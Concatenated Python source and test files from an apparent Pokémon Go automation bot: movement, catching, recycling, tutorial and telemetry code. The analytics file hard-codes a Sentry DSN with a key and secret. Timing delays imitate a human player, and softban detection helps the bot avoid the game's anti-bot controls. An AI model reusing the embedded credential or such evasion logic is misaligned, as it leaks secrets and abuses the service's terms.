        self.assertLessEqual(duration, to_seconds)

    @patch('pokemongo_bot.cell_workers.sleep_schedule.sleep')
    def test_sleep(self, mock_sleep):
        self.worker._next_duration = SleepSchedule.LOG_INTERVAL_SECONDS * 10
        self.worker._sleep()
        #Sleep should be  called 10 times with LOG_INTERVAL_SECONDS as argument
        self.assertEqual(mock_sleep.call_count, 10)
        calls = [x[0][0] for x in mock_sleep.call_args_list]
        for arg in calls:
            self.assertEqual(arg, SleepSchedule.LOG_INTERVAL_SECONDS)

    @patch('pokemongo_bot.cell_workers.sleep_schedule.sleep')
    def test_sleep_not_divedable_by_interval(self, mock_sleep):
        self.worker._next_duration = SleepSchedule.LOG_INTERVAL_SECONDS * 10 + 5
        self.worker._sleep()
        self.assertEqual(mock_sleep.call_count, 11)

        calls = [x[0][0] for x in mock_sleep.call_args_list]
        for arg in calls[:-1]:
            self.assertEqual(arg, SleepSchedule.LOG_INTERVAL_SECONDS)
        #Last call must be 5
        self.assertEqual(calls[-1], 5)

    @patch('pokemongo_bot.cell_workers.sleep_schedule.sleep')
    @patch('pokemongo_bot.cell_workers.sleep_schedule.datetime')
    def test_call_work_before_schedule(self, mock_datetime, mock_sleep):
        self.worker._next_sleep = datetime(year=2016, month=8, day=1, hour=12, minute=0)
        mock_datetime.now.return_value = self.worker._next_sleep - timedelta(minutes=5)

        self.worker.work()

        self.assertEqual(mock_sleep.call_count, 0)

    @patch('pokemongo_bot.cell_workers.sleep_schedule.sleep')
    @patch('pokemongo_bot.cell_workers.sleep_schedule.datetime')
    def test_call_work_after_schedule(self, mock_datetime, mock_sleep):
        self.bot.login = MagicMock()
        self.worker._next_sleep = datetime(year=2016, month=8, day=1, hour=12, minute=0)
        # Change time to be after schedule
        mock_datetime.now.return_value = self.worker._next_sleep + timedelta(minutes=5)

        self.worker.work()

        self.assertGreater(mock_sleep.call_count, 0)
        self.assertGreater(self.bot.login.call_count, 0)






from socketIO_client import SocketIO


def on_location(msg):
    print('received location: {}'.format(msg))

if __name__ == "__main__":
    try:
        socketio = SocketIO('localhost', 4000)
        socketio.on('location', on_location)
        while True:
            socketio.wait(seconds=5)

    except (KeyboardInterrupt, SystemExit):
        print "Exiting"












import unittest
from mock import MagicMock, patch

from pokemongo_bot.walkers.step_walker import StepWalker
from pokemongo_bot.cell_workers.utils import float_equal

NORMALIZED_LAT_LNG_DISTANCE_STEP = 6.3593e-6

class TestStepWalker(unittest.TestCase):
    def setUp(self):
        self.patcherSleep = patch('pokemongo_bot.walkers.step_walker.sleep')
        self.patcherRandomLat = patch('pokemongo_bot.walkers.step_walker.random_lat_long_delta', return_value=0)
        self.patcherSleep.start()
        self.patcherRandomLat.start()

        self.bot = MagicMock()
        self.bot.position = [0, 0, 0]
        self.bot.api = MagicMock()

        self.lat, self.lng, self.alt = 0, 0, 0

        # let us get back the position set by the StepWalker
        def api_set_position(lat, lng, alt):
            self.lat, self.lng, self.alt = lat, lng, alt
        self.bot.api.set_position = api_set_position

    def tearDown(self):
        self.patcherSleep.stop()
        self.patcherRandomLat.stop()

    def test_normalized_distance(self):
        walk_max = self.bot.config.walk_max
        walk_min = self.bot.config.walk_min

        self.bot.config.walk_max = 1
        self.bot.config.walk_min = 1

        sw = StepWalker(self.bot, 0.1, 0.1)
        self.assertGreater(sw.dLat, 0)
        self.assertGreater(sw.dLng, 0)

        stayInPlace = sw.step()
        self.assertFalse(stayInPlace)

        self.assertTrue(float_equal(self.lat, NORMALIZED_LAT_LNG_DISTANCE_STEP))
        self.assertTrue(float_equal(self.lng, NORMALIZED_LAT_LNG_DISTANCE_STEP))

        self.bot.config.walk_max = walk_max
        self.bot.config.walk_min = walk_min

    def test_normalized_distance_times_2(self):
        walk_max = self.bot.config.walk_max
        walk_min = self.bot.config.walk_min

        self.bot.config.walk_max = 2
        self.bot.config.walk_min = 2

        sw = StepWalker(self.bot, 0.1, 0.1)
        self.assertTrue(sw.dLat > 0)
        self.assertTrue(sw.dLng > 0)

        stayInPlace = sw.step()
        self.assertFalse(stayInPlace)

        self.assertTrue(float_equal(self.lat, NORMALIZED_LAT_LNG_DISTANCE_STEP * 2))
        self.assertTrue(float_equal(self.lng, NORMALIZED_LAT_LNG_DISTANCE_STEP * 2))

        self.bot.config.walk_max = walk_max
        self.bot.config.walk_min = walk_min

    def test_small_distance_same_spot(self):
        walk_max = self.bot.config.walk_max
        walk_min = self.bot.config.walk_min

        self.bot.config.walk_max = 1
        self.bot.config.walk_min = 1

        sw = StepWalker(self.bot, 0, 0)
        self.assertEqual(sw.dLat, 0, 'dLat should be 0')
        self.assertEqual(sw.dLng, 0, 'dLng should be 0')

        self.assertTrue(sw.step(), 'step should return True')
        self.assertTrue(self.lat == self.bot.position[0])
        self.assertTrue(self.lng == self.bot.position[1])

        self.bot.config.walk_max = walk_max
        self.bot.config.walk_min = walk_min

    def test_small_distance_small_step(self):
        walk_max = self.bot.config.walk_max
        walk_min = self.bot.config.walk_min

        self.bot.config.walk_max = 1
        self.bot.config.walk_min = 1

        sw = StepWalker(self.bot, 1e-5, 1e-5)
        self.assertEqual(sw.dLat, 0)
        self.assertEqual(sw.dLng, 0)

        self.bot.config.walk_max = walk_max
        self.bot.config.walk_min = walk_min

    @unittest.skip('This behavior is To Be Defined')
    def test_big_distances(self):
        # FIXME currently the StepWalker acts like it won't move if big distances gives as input
        # see args below
        # with self.assertRaises(RuntimeError):
        sw = StepWalker(self.bot, 10, 10)
        sw.step() # equals True i.e act like the distance is too short for a step






import unittest, pickle, os
from mock import patch
from pokemongo_bot.cell_workers.follow_cluster import FollowCluster


class FollowClusterTestCase(unittest.TestCase):

    @patch('pokemongo_bot.PokemonGoBot')
    def testWorkAway(self, mock_pokemongo_bot):
        forts_path = os.path.join(os.path.dirname(__file__), 'resources', 'example_forts.pickle')
        with open(forts_path, 'rb') as forts:
            ex_forts = pickle.load(forts)
        config = {'radius': 50, 'lured': False}
        mock_pokemongo_bot.position = (37.396787, -5.994587)
        mock_pokemongo_bot.config.walk_max = 4.16
        mock_pokemongo_bot.config.walk_min = 2.16
        mock_pokemongo_bot.get_forts.return_value = ex_forts
        follow_cluster = FollowCluster(mock_pokemongo_bot, config)

        expected = (37.397183750142624, -5.9932912500000013)
        result = follow_cluster.work()
        self.assertAlmostEqual(expected[0], result[0], delta=0.000000000010000)
        self.assertAlmostEqual(expected[1], result[1], delta=0.000000000010000)
        assert follow_cluster.is_at_destination == False
        assert follow_cluster.announced == False

    @patch('pokemongo_bot.PokemonGoBot')
    def testWorkArrived(self, mock_pokemongo_bot):
        forts_path = os.path.join(os.path.dirname(__file__), 'resources', 'example_forts.pickle')
        with open(forts_path, 'rb') as forts:
            ex_forts = pickle.load(forts)
        config = {'radius': 50, 'lured': False}
        mock_pokemongo_bot.position = (37.39718375014263, -5.9932912500000013)
        mock_pokemongo_bot.config.walk_max = 4.16
        mock_pokemongo_bot.config.walk_min = 2.16
        mock_pokemongo_bot.get_forts.return_value = ex_forts
        follow_cluster = FollowCluster(mock_pokemongo_bot, config)

        expected = (37.397183750142624, -5.9932912500000013)
        result = follow_cluster.work()
        self.assertAlmostEqual(expected[0], result[0], delta=0.000000000010000)
        self.assertAlmostEqual(expected[1], result[1], delta=0.000000000010000)
        assert follow_cluster.is_at_destination == True
        assert follow_cluster.announced == False












from fake_task import FakeTask
from unsupported_api_task import UnsupportedApiTask






from pokemongo_bot.base_task import BaseTask

class UnsupportedApiTask(BaseTask):
  SUPPORTED_TASK_API_VERSION = 2

  def work():
    return 2






from pokemongo_bot.base_task import BaseTask

class FakeTask(BaseTask):
  SUPPORTED_TASK_API_VERSION = 1

  def work(self):
    return 'FakeTask'






from pokemongo_bot.worker_result import WorkerResult
from pokemongo_bot.base_task import BaseTask
from pokemongo_bot import inventory
from pokemongo_bot.tree_config_builder import ConfigException

RECYCLE_REQUEST_RESPONSE_SUCCESS = 1
class ItemRecycler(BaseTask):
    """
    This class contains details of recycling process.
    """
    SUPPORTED_TASK_API_VERSION = 1
    def __init__(self, bot, item_to_recycle, amount_to_recycle):
        """
        Initialise an instance of ItemRecycler
        :param bot: The instance of the Bot
        :type bot: pokemongo_bot.PokemonGoBot
        :param item_to_recycle: The item to recycle
        :type item_to_recycle: inventory.Item
        :param amount_to_recycle: The amount to recycle
        :type amount_to_recycle: int
        :return: Nothing.
        :rtype: None
        """
        self.bot = bot
        self.item_to_recycle = item_to_recycle
        self.amount_to_recycle = amount_to_recycle
        self.recycle_item_request_result = None

    def work(self):
        """
        Start the recycling process
        :return: Returns whether or not the task went well
        :rtype: WorkerResult
        """
        if self.should_run():
            self.request_recycle()
            if self.is_recycling_success():
                self._update_inventory()
                self._emit_recycle_succeed()
                return WorkerResult.SUCCESS
            else:
                self._emit_recycle_failed()
                return WorkerResult.ERROR

    def should_run(self):
        """
        Returns a value indicating whether or not the recycler should be run.
        :return: True if the recycler should be run; otherwise, False.
        :rtype: bool
        """
        if self.amount_to_recycle > 0 and self.item_to_recycle is not None:
            return True
        return False

    def request_recycle(self):
        """
        Request recycling of the item and store api call response's result.
        :return: Nothing.
        :rtype: None
        """
        response = self.bot.api.recycle_inventory_item(item_id=self.item_to_recycle.id,
                                                       count=self.amount_to_recycle)
        # Example of good request response
        # {'responses': {'RECYCLE_INVENTORY_ITEM': {'result': 1, 'new_count': 46}}, 'status_code': 1, 'auth_ticket': {'expire_timestamp_ms': 1469306228058L, 'start': '/HycFyfrT4t2yB2Ij+yoi+on778aymMgxY6RQgvrGAfQlNzRuIjpcnDd5dAxmfoTqDQrbz1m2dGqAIhJ+eFapg==', 'end': 'f5NOZ95a843tgzprJo4W7Q=='}, 'request_id': 8145806132888207460L}
        self.recycle_item_request_result = response.get('responses', {}).get('RECYCLE_INVENTORY_ITEM', {}).get('result', 0)

    def _update_inventory(self):
        """
        Updates the inventory. Prevent an unnecessary call to the api
        :return: Nothing.
        :rtype: None
        """
        inventory.items().get(self.item_to_recycle.id).remove(self.amount_to_recycle)

    def is_recycling_success(self):
        """
        Returns a value indicating whether or not the item has been successfully recycled.
        :return: True if the item has been successfully recycled; otherwise, False.
        :rtype: bool
        """
        return self.recycle_item_request_result == RECYCLE_REQUEST_RESPONSE_SUCCESS

    def _emit_recycle_succeed(self):
        """
        Emits recycle succeed event in logs
        :return: Nothing.
        :rtype: None
        """
        self.emit_event(
                'item_discarded',
                formatted='Discarded {amount}x {item}.',
                data={
                    'amount': str(self.amount_to_recycle),
                    'item': self.item_to_recycle.name,
                }
        )

    def _emit_recycle_failed(self):
        """
        Emits recycle failed event in logs
        :return: Nothing.
        :rtype: None
        """
        self.emit_event(
                'item_discard_fail',
                formatted="Failed to discard {item}",
                data={
                    'item': self.item_to_recycle.name
                }
        )












# -*- coding: utf-8 -*-
from time import sleep

import logging
from raven import Client
import raven
import os
import uuid
import requests
import time

class BotEvent(object):
    def __init__(self, config):
        self.config = config
        self.logger = logging.getLogger(__name__)
        # UniversalAnalytics can be reviewed here:
        # https://github.com/analytics-pros/universal-analytics-python
        if self.config.health_record:
            self.logger.info('Health check is enabled. For more information:')
            self.logger.info('https://github.com/PokemonGoF/PokemonGo-Bot/tree/dev#analytics')
            self.client = Client(
                dsn='https://8abac56480f34b998813d831de262514:196ae1d8dced41099f8253ea2c8fe8e6@app.getsentry.com/90254',
                name='PokemonGof-Bot',
                processors = (
                    'raven.processors.SanitizePasswordsProcessor',
                    'raven.processors.RemoveStackLocalsProcessor'
                ),
                install_logging_hook = False,
                hook_libraries = (),
                enable_breadcrumbs = False,
                logging = False,
                context = {}
            )

        self.client_id = uuid.uuid4()
        self.heartbeat_wait = 30 # seconds
        self.last_heartbeat = time.time()

    def capture_error(self):
        if self.config.health_record:
            self.client.captureException()

    def login_success(self):
        if self.config.health_record:
            self.last_heartbeat = time.time()
            self.track_url('/loggedin')

    def login_failed(self):
        if self.config.health_record:
            self.track_url('/login')

    def login_retry(self):
        if self.config.health_record:
            self.track_url('/relogin')

    def logout(self):
        if self.config.health_record:
            self.track_url('/logout')

    def heartbeat(self):
        if self.config.health_record:
            current_time = time.time()
            if current_time - self.heartbeat_wait > self.last_heartbeat:
                self.last_heartbeat = current_time
                self.track_url('/heartbeat')

    def track_url(self, path):
        data = {
            'v': '1',
            'tid': 'UA-81469507-1',
            'aip': '1', # Anonymize IPs
            'cid': self.client_id,
            't': 'pageview',
            'dp': path
        }
        try:
            response = requests.post(
                'http://www.google-analytics.com/collect', data=data)

            response.raise_for_status()
        except requests.exceptions.HTTPError:
            pass






# -*- coding: utf-8 -*-

from bot_event import BotEvent






from yoyo import step

step(
    "CREATE TABLE IF NOT EXISTS login (timestamp INTEGER, message TEXT)",
)






import random

from pokemongo_bot import logger
from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.worker_result import WorkerResult
from pokemongo_bot.human_behaviour import sleep



class CompleteTutorial(BaseTask):

    SUPPORTED_TASK_API_VERSION = 1

    def initialize(self):
        self.api = self.bot.api
        self.nickname = self.config.get('nickname','')
        self.team = self.config.get('team',0)
        self.may_run = True

    def should_run(self):
        return self.may_run

    def work(self):

        if not self.should_run():
            return WorkerResult.SUCCESS

        # Only execute the worker once to avoid error loop
        self.may_run = False

        if self._check_tutorial_state():
            return WorkerResult.SUCCESS
        else:
            return WorkerResult.ERROR

    def _check_tutorial_state(self):
        self._player=self.bot.player_data

        tutorial_state = self._player.get('tutorial_state', [])
        # LEGAL_SCREEN = 0
        if not 0 in tutorial_state:
            sleep(2)
            if self._set_tutorial_state(0):
                self.logger.info('Completed legal screen')
                tutorial_state = self._player.get('tutorial_state', [])
            else:
                return False

        # AVATAR_SELECTION = 1
        if not 1 in tutorial_state:
            # TODO : choose avatar ?
            sleep(3)
            if self._set_tutorial_state(1):
                self.logger.info('Completed avatar selection')
                tutorial_state = self._player.get('tutorial_state', [])
            else:
                return False

        # POKEMON_CAPTURE = 3
        if not 3 in tutorial_state:
            sleep(10)
            if self._encounter_tutorial():
                self.logger.info('Completed first capture')
            else:
                self.logger.error('Error during first capture')
                return False

        # NAME_SELECTION = 4
        if not 4 in tutorial_state:
            if not self.nickname:
                self.logger.info("No nickname defined in config")
                return False

            self.logger.info(u'Trying to set {} as nickname'.format(self.nickname))
            sleep(5)
            if self._set_nickname(self.nickname):
                self._set_tutorial_state(4)
                tutorial_state = self._player.get('tutorial_state', [])
            else:
                self.logger.error('Error trying to set nickname')
                return False

        # FIRST_TIME_EXPERIENCE_COMPLETE = 7
        if not 7 in tutorial_state:
            if self._set_tutorial_state(7):
                self.logger.info('Completed first time experience')
            else:
                return False

        return True

    def _encounter_tutorial(self):
        # You just need to call the API with the pokemon you choose
        # Probably can't get MewTwo as first pokemon though
        first_pokemon_id = random.choice([1, 4, 7])
        response_dict = self.api.encounter_tutorial_complete(
            pokemon_id=first_pokemon_id)
        try:
            if response_dict['responses']['ENCOUNTER_TUTORIAL_COMPLETE']['result'] == 1:
                return True
            else:
                self.logger.error("Error during encouter tutorial")
                return False
        except KeyError:
            self.logger.error("KeyError during encouter tutorial")
            return False

    def _set_nickname(self, nickname):
        response_dict = self.api.claim_codename(codename=nickname)
        try:
            result = response_dict['responses']['CLAIM_CODENAME']['status']
            if result == 1:
                self.logger.info(u'Name changed to {}'.format(nickname))
                return True
            else:
                # Would be nice to get the text directly from the proto Enum
                error_codes = {
                    0: 'UNSET',
                    1: 'SUCCESS',
                    2: 'CODENAME_NOT_AVAILABLE',
                    3: 'CODENAME_NOT_VALID',
                    4: 'CURRENT_OWNER',
                    5: 'CODENAME_CHANGE_NOT_ALLOWED'
                }
                self.logger.error(
                    u'Error while changing nickname : {}'.format(error_codes[result]))
                return False
        except KeyError:
            return False

    def _set_tutorial_state(self, completed):
        response_dict = self.api.mark_tutorial_complete(tutorials_completed=[
                                                        completed], send_marketing_emails=False, send_push_notifications=False)
        try:
            self._player = response_dict['responses'][
                'MARK_TUTORIAL_COMPLETE']['player_data']
            return response_dict['responses']['MARK_TUTORIAL_COMPLETE']['success']
        except KeyError:
            self.logger.error("KeyError while setting tutorial state")
            return False






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.worker_result import WorkerResult
from pokemongo_bot.constants import Constants
from pokemongo_bot.cell_workers.utils import fort_details, distance
from pokemongo_bot.cell_workers.pokemon_catch_worker import PokemonCatchWorker


class CatchLuredPokemon(BaseTask):
    SUPPORTED_TASK_API_VERSION = 1

    def work(self):
        lured_pokemon = self.get_lured_pokemon()
        if len(lured_pokemon) > 0:
            self.catch_pokemon(lured_pokemon[0])

            if len(lured_pokemon) > 1:
                return WorkerResult.RUNNING

        return WorkerResult.SUCCESS

    def get_lured_pokemon(self):
        forts_in_range = []
        pokemon_to_catch = []
        forts = self.bot.get_forts(order_by_distance=True)

        if len(forts) == 0:
            return []

        for fort in forts:
            distance_to_fort = distance(
                self.bot.position[0],
                self.bot.position[1],
                fort['latitude'],
                fort['longitude']
            )

            encounter_id = fort.get('lure_info', {}).get('encounter_id', None)
            if distance_to_fort < Constants.MAX_DISTANCE_FORT_IS_REACHABLE and encounter_id:
                forts_in_range.append(fort)


        for fort in forts_in_range:
            details = fort_details(self.bot, fort_id=fort['id'],
                                  latitude=fort['latitude'],
                                  longitude=fort['longitude'])
            fort_name = details.get('name', 'Unknown')
            encounter_id = fort['lure_info']['encounter_id']

            result = {
                'encounter_id': encounter_id,
                'fort_id': fort['id'],
                'fort_name': u"{}".format(fort_name),
                'latitude': fort['latitude'],
                'longitude': fort['longitude']
            }
            pokemon_to_catch.append(result)

            self.emit_event(
                'lured_pokemon_found',
                level='info',
                formatted='Lured pokemon at fort {fort_name} ({fort_id})',
                data=result
            )
        return pokemon_to_catch

    def catch_pokemon(self, pokemon):
        worker = PokemonCatchWorker(pokemon, self.bot, self.config)
        return_value = worker.work()

        return return_value






# -*- coding: utf-8 -*-

import os
import time
import json
import logging
import time
from random import random, randrange
from pokemongo_bot import inventory
from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.human_behaviour import sleep, action_delay
from pokemongo_bot.inventory import Pokemon
from pokemongo_bot.worker_result import WorkerResult
from pokemongo_bot.datastore import Datastore
from pokemongo_bot.base_dir import _base_dir
from datetime import datetime, timedelta

CATCH_STATUS_SUCCESS = 1
CATCH_STATUS_FAILED = 2
CATCH_STATUS_VANISHED = 3
CATCH_STATUS_MISSED = 4

ENCOUNTER_STATUS_SUCCESS = 1
ENCOUNTER_STATUS_NOT_IN_RANGE = 5
ENCOUNTER_STATUS_POKEMON_INVENTORY_FULL = 7

ITEM_POKEBALL = 1
ITEM_GREATBALL = 2
ITEM_ULTRABALL = 3
ITEM_RAZZBERRY = 701

LOGIC_TO_FUNCTION = {
    'or': lambda x, y, z: x or y or z,
    'and': lambda x, y, z: x and y and z,
    'orand': lambda x, y, z: x or y and z,
    'andor': lambda x, y, z: x and y or z
}


class PokemonCatchWorker(Datastore, BaseTask):

    def __init__(self, pokemon, bot, config):
        self.pokemon = pokemon
        super(PokemonCatchWorker, self).__init__(bot, config)

    def initialize(self):
        self.api = self.bot.api
        self.position = self.bot.position
        self.pokemon_list = self.bot.pokemon_list
        self.inventory = inventory.items()
        self.spawn_point_guid = ''
        self.response_key = ''
        self.response_status_key = ''

        #Config
        self.min_ultraball_to_keep = self.config.get('min_ultraball_to_keep', 10)
        self.berry_threshold = self.config.get('berry_threshold', 0.35)
        self.vip_berry_threshold = self.config.get('vip_berry_threshold', 0.9)

        self.catch_throw_parameters = self.config.get('catch_throw_parameters', {})
        self.catch_throw_parameters_spin_success_rate = self.catch_throw_parameters.get('spin_success_rate', 0.6)
        self.catch_throw_parameters_excellent_rate = self.catch_throw_parameters.get('excellent_rate', 0.1)
        self.catch_throw_parameters_great_rate = self.catch_throw_parameters.get('great_rate', 0.5)
        self.catch_throw_parameters_nice_rate = self.catch_throw_parameters.get('nice_rate', 0.3)
        self.catch_throw_parameters_normal_rate = self.catch_throw_parameters.get('normal_rate', 0.1)
        self.catch_throw_parameters_hit_rate = self.catch_throw_parameters.get('hit_rate', 0.8)

        self.catchsim_config = self.config.get('catch_simulation', {})
        self.catchsim_catch_wait_min = self.catchsim_config.get('catch_wait_min', 2)
        self.catchsim_catch_wait_max = self.catchsim_config.get('catch_wait_max', 6)
        self.catchsim_flee_count = int(self.catchsim_config.get('flee_count', 3))
        self.catchsim_flee_duration = self.catchsim_config.get('flee_duration', 2)
        self.catchsim_berry_wait_min = self.catchsim_config.get('berry_wait_min', 2)
        self.catchsim_berry_wait_max = self.catchsim_config.get('berry_wait_max', 3)
        self.catchsim_changeball_wait_min = self.catchsim_config.get('changeball_wait_min', 2)
        self.catchsim_changeball_wait_max = self.catchsim_config.get('changeball_wait_max', 3)


    ############################################################################
    # public methods
    ############################################################################

    def work(self, response_dict=None):
        response_dict = response_dict or self.create_encounter_api_call()

        # validate response
        if not response_dict:
            return WorkerResult.ERROR

        try:
            responses = response_dict['responses']
            response = responses[self.response_key]
            if response[self.response_status_key] != ENCOUNTER_STATUS_SUCCESS:
                if response[self.response_status_key] == ENCOUNTER_STATUS_NOT_IN_RANGE:
                    self.emit_event('pokemon_not_in_range', formatted='Pokemon went out of range!')
                elif response[self.response_status_key] == ENCOUNTER_STATUS_POKEMON_INVENTORY_FULL:
                    self.emit_event('pokemon_inventory_full', formatted='Your Pokemon inventory is full! Could not catch!')
                return WorkerResult.ERROR
        except KeyError:
            return WorkerResult.ERROR

        # get pokemon data
        pokemon_data = response['wild_pokemon']['pokemon_data'] if 'wild_pokemon' in response else response['pokemon_data']
        pokemon = Pokemon(pokemon_data)

        # skip ignored pokemon
        if not self._should_catch_pokemon(pokemon):
            return WorkerResult.SUCCESS

        is_vip = self._is_vip_pokemon(pokemon)
        if inventory.items().get(ITEM_POKEBALL).count < 1:
            if inventory.items().get(ITEM_GREATBALL).count < 1:
                if inventory.items().get(ITEM_ULTRABALL).count < 1:
                    return WorkerResult.SUCCESS
                elif (not is_vip) and inventory.items().get(ITEM_ULTRABALL).count <= self.min_ultraball_to_keep:
                    return WorkerResult.SUCCESS

        # log encounter
        self.emit_event(
            'pokemon_appeared',
            formatted='A wild {pokemon} appeared! [CP {cp}] [NCP {ncp}] [Potential {iv}] [A/D/S {iv_display}]',
            data={
                'pokemon': pokemon.name,
                'ncp': round(pokemon.cp_percent, 2),
                'cp': pokemon.cp,
                'iv': pokemon.iv,
                'iv_display': pokemon.iv_display,
                'encounter_id': self.pokemon['encounter_id'],
                'latitude': self.pokemon['latitude'],
                'longitude': self.pokemon['longitude'],
                'pokemon_id': pokemon.pokemon_id
            }
        )

        # simulate app
        time.sleep(3)

        # check for VIP pokemon
        if is_vip:
            self.emit_event('vip_pokemon', formatted='This is a VIP pokemon. Catch!!!')

        # check catch limits before catch
        with self.bot.database as conn:
            c = conn.cursor()
            c.execute("SELECT DISTINCT COUNT(encounter_id) FROM catch_log WHERE dated >= datetime('now','-1 day')")

        result = c.fetchone()

        while True:
            max_catch = self.bot.config.daily_catch_limit
            if result[0] < max_catch:
            # catch that pokemon!
                encounter_id = self.pokemon['encounter_id']
                catch_rate_by_ball = [0] + response['capture_probability']['capture_probability']  # offset so item ids match indces
                self._do_catch(pokemon, encounter_id, catch_rate_by_ball, is_vip=is_vip)
                break
            else:
                self.emit_event('catch_limit', formatted='WARNING! You have reached your daily catch limit')
                break

        # simulate app
        time.sleep(5)

    def create_encounter_api_call(self):
        encounter_id = self.pokemon['encounter_id']
        player_latitude = self.pokemon['latitude']
        player_longitude = self.pokemon['longitude']

        request = self.api.create_request()
        if 'spawn_point_id' in self.pokemon:
            spawn_point_id = self.pokemon['spawn_point_id']
            self.spawn_point_guid = spawn_point_id
            self.response_key = 'ENCOUNTER'
            self.response_status_key = 'status'
            request.encounter(
                encounter_id=encounter_id,
                spawn_point_id=spawn_point_id,
                player_latitude=player_latitude,
                player_longitude=player_longitude
            )
        else:
            fort_id = self.pokemon['fort_id']
            self.spawn_point_guid = fort_id
            self.response_key = 'DISK_ENCOUNTER'
            self.response_status_key = 'result'
            request.disk_encounter(
                encounter_id=encounter_id,
                fort_id=fort_id,
                player_latitude=player_latitude,
                player_longitude=player_longitude
            )
        return request.call()

    ############################################################################
    # helpers
    ############################################################################

    def _pokemon_matches_config(self, config, pokemon, default_logic='and'):
        pokemon_config = config.get(pokemon.name, config.get('any'))

        if not pokemon_config:
            return False

        catch_results = {
            'ncp': False,
            'cp': False,
            'iv': False,
        }

        if pokemon_config.get('never_catch', False):
            return False

        if pokemon_config.get('always_catch', False):
            return True

        catch_ncp = pokemon_config.get('catch_above_ncp', 0.8)
        if pokemon.cp_percent > catch_ncp:
            catch_results['ncp'] = True

        catch_cp = pokemon_config.get('catch_above_cp', 1200)
        if pokemon.cp > catch_cp:
            catch_results['cp'] = True

        catch_iv = pokemon_config.get('catch_above_iv', 0.8)
        if pokemon.iv > catch_iv:
            catch_results['iv'] = True

        return LOGIC_TO_FUNCTION[pokemon_config.get('logic', default_logic)](*catch_results.values())

    def _should_catch_pokemon(self, pokemon):
        return self._pokemon_matches_config(self.bot.config.catch, pokemon)

    def _is_vip_pokemon(self, pokemon):
        # having just a name present in the list makes them vip
        if self.bot.config.vips.get(pokemon.name) == {}:
            return True
        return self._pokemon_matches_config(self.bot.config.vips, pokemon, default_logic='or')

    def _pct(self, rate_by_ball):
        return '{0:.2f}'.format(rate_by_ball * 100)

    def _use_berry(self, berry_id, berry_count, encounter_id, catch_rate_by_ball, current_ball):
        # Delay to simulate selecting berry
        action_delay(self.catchsim_berry_wait_min, self.catchsim_berry_wait_max)
        new_catch_rate_by_ball = []
        self.emit_event(
            'pokemon_catch_rate',
            level='debug',
            formatted='Catch rate of {catch_rate} with {ball_name} is low. Throwing {berry_name} (have {berry_count})',
            data={
                'catch_rate': self._pct(catch_rate_by_ball[current_ball]),
                'ball_name': self.inventory.get(current_ball).name,
                'berry_name': self.inventory.get(berry_id).name,
                'berry_count': berry_count
            }
        )

        response_dict = self.api.use_item_capture(
            item_id=berry_id,
            encounter_id=encounter_id,
            spawn_point_id=self.spawn_point_guid
        )
        responses = response_dict['responses']

        if response_dict and response_dict['status_code'] == 1:

            # update catch rates using multiplier
            if 'item_capture_mult' in responses['USE_ITEM_CAPTURE']:
                for rate in catch_rate_by_ball:
                    new_catch_rate_by_ball.append(rate * responses['USE_ITEM_CAPTURE']['item_capture_mult'])
                self.emit_event(
                    'threw_berry',
                    formatted="Threw a {berry_name}! Catch rate with {ball_name} is now: {new_catch_rate}",
                    data={
                        'berry_name': self.inventory.get(berry_id).name,
                        'ball_name': self.inventory.get(current_ball).name,
                        'new_catch_rate': self._pct(new_catch_rate_by_ball[current_ball])
                    }
                )

            # softban?
            else:
                new_catch_rate_by_ball = catch_rate_by_ball
                self.bot.softban = True
                self.emit_event(
                    'softban',
                    level='warning',
                    formatted='Failed to use berry. You may be softbanned.'
                )
                with self.bot.database as conn:
                    c = conn.cursor()
                    c.execute("SELECT COUNT(name) FROM sqlite_master WHERE type='table' AND name='softban_log'")
                result = c.fetchone()

                while True:
                    if result[0] == 1:
                        source = str("PokemonCatchWorker")
                        status = str("Possible Softban")
                        conn.execute('''INSERT INTO softban_log (status, source) VALUES (?, ?)''', (status, source))
                    break
                else:
                    self.emit_event(
                        'softban_log',
                        sender=self,
                        level='info',
                        formatted="softban_log table not found, skipping log"
                    )

        # unknown status code
        else:
            new_catch_rate_by_ball = catch_rate_by_ball
            self.emit_event(
                'threw_berry_failed',
                formatted='Unknown response when throwing berry: {status_code}.',
                data={
                    'status_code': response_dict['status_code']
                }
            )

        return new_catch_rate_by_ball

    def _do_catch(self, pokemon, encounter_id, catch_rate_by_ball, is_vip=False):
        # settings that may be exposed at some point
        """

        :type pokemon: Pokemon
        """
        berry_id = ITEM_RAZZBERRY
        maximum_ball = ITEM_ULTRABALL if is_vip else ITEM_GREATBALL
        ideal_catch_rate_before_throw = self.vip_berry_threshold if is_vip else self.berry_threshold

        berry_count = self.inventory.get(ITEM_RAZZBERRY).count
        ball_count = {}
        for ball_id in [ITEM_POKEBALL, ITEM_GREATBALL, ITEM_ULTRABALL]:
            ball_count[ball_id] = self.inventory.get(ball_id).count

        # use `min_ultraball_to_keep` from config if is not None
        min_ultraball_to_keep = ball_count[ITEM_ULTRABALL]
        if self.min_ultraball_to_keep is not None:
            if self.min_ultraball_to_keep >= 0 and self.min_ultraball_to_keep < min_ultraball_to_keep:
                min_ultraball_to_keep = self.min_ultraball_to_keep

        used_berry = False
        while True:

            # find lowest available ball
            current_ball = ITEM_POKEBALL
            while ball_count[current_ball] == 0 and current_ball < maximum_ball:
                current_ball += 1
            if ball_count[current_ball] == 0:
                self.emit_event('no_pokeballs', formatted='No usable pokeballs found!')

                # use untraball if there is no other balls with constraint to `min_ultraball_to_keep`
                if maximum_ball != ITEM_ULTRABALL and ball_count[ITEM_ULTRABALL] > min_ultraball_to_keep:
                    maximum_ball = ITEM_ULTRABALL
                    continue
                else:
                    return WorkerResult.ERROR

            # check future ball count
            num_next_balls = 0
            next_ball = current_ball
            while next_ball < maximum_ball:
                next_ball += 1
                num_next_balls += ball_count[next_ball]

            # check if we've got berries to spare
            berries_to_spare = berry_count > 0 if is_vip else berry_count > num_next_balls + 30

            # use a berry if we are under our ideal rate and have berries to spare
            changed_ball = False
            if catch_rate_by_ball[current_ball] < ideal_catch_rate_before_throw and berries_to_spare and not used_berry:
                new_catch_rate_by_ball = self._use_berry(berry_id, berry_count, encounter_id, catch_rate_by_ball, current_ball)
                if new_catch_rate_by_ball != catch_rate_by_ball:
                    catch_rate_by_ball = new_catch_rate_by_ball
                    self.inventory.get(ITEM_RAZZBERRY).remove(1)
                    berry_count -= 1
                    used_berry = True

            # pick the best ball to catch with
